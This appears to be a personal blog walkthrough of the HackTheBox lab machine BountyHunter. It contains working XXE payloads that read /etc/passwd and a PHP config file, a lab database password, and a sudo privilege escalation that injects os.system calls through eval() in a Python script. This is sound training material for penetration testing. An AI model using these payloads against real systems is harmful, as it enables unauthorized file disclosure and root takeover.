This page looks best with JavaScript enabled

HackTheBox: BountyHunter

 ·  ☕ 5 min read

User

After running nmap we can only see an apache and ssh:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-24 17:04 EDT
Nmap scan report for bountyhunter.htb (10.10.11.100)
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds

The main website looks like this:

Landing page

Before anything else started ffuf on the background just to check if there is any hidden directory or file and found db.php:

ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://bountyhunter.htb/FUZZ -e txt,.bak,php -fs 25169,281

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://bountyhunter.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-files.txt
 :: Extensions       : txt .bak php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 25169,281
________________________________________________

db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
portal.php              [Status: 200, Size: 125, Words: 11, Lines: 6]
:: Progress: [148168/148168] :: Job [1/1] :: 744 req/sec :: Duration: [0:05:08] :: Errors: 4 ::

Afterwards testing the website there is this other endpoint ``:

Bounty Report System

Examining how the request looks like using burp found out that is sending an XML file base64 encoded:

echo 'PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5hPC90aXRsZT4KCQk8Y3dlPmFzZGY8L2N3ZT4KCQk8Y3Zzcz5hc2RmPC9jdnNzPgoJCTxyZXdhcmQ+YXNkZjwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg==' | base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>a</title>
                <cwe>asdf</cwe>
                <cvss>asdf</cvss>
                <reward>asdf</reward>
                </bugreport>

So we can try to abuse [XXE], here is the first payload from OWASP just to check that it’s vulnerable:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>asdf</cwe>
		<cvss>asdf</cvss>
		<reward>asdf</reward>
		</bugreport>

Don’t forget to encode the payload and it’s url encoded. Finally we can just grab a password from the previous seen db.php file with the given payload:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>asdf</cwe>
		<cvss>asdf</cvss>
		<reward>asdf</reward>
		</bugreport>

Here is the output of the php file:

1
2
3
4
5
6
7
8
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Now we can log in with the development:m19RoAU0hP41A1sTsq6K, using the user that we found on /etc/passwd while testing XXE.

Root

As usual check sudo privileges:

sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Let’s see what does ticketValidator.py do:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Straight after reading the source code we can see that is using eval that can potentially lead to RCE. So we have to create a file with that starts like follows:

# Skytrain Inc
## Ticket to Reverse
__Ticket Code:__

On the next line it’s where our code may get evaluated inside eval. We need to add a ticket number so it verifies ticketCode % 7 == 4 and then insert our payload after a +sign:

# Skytrain Inc
## Ticket to Reverse
__Ticket Code:__
**4**+__import__("os").system("id && ifconfig")

We now upload the file and execute the script with sudo

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
ticket.md
Destination: Reverse
uid=0(root) gid=0(root) groups=0(root)
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.100  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:91fb  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:91fb  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:91:fb  txqueuelen 1000  (Ethernet)
        RX packets 981725  bytes 123317050 (123.3 MB)
        RX errors 0  dropped 20  overruns 0  frame 0
        TX packets 973539  bytes 389771294 (389.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 7338  bytes 626079 (626.0 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7338  bytes 626079 (626.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Invalid ticket.
Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover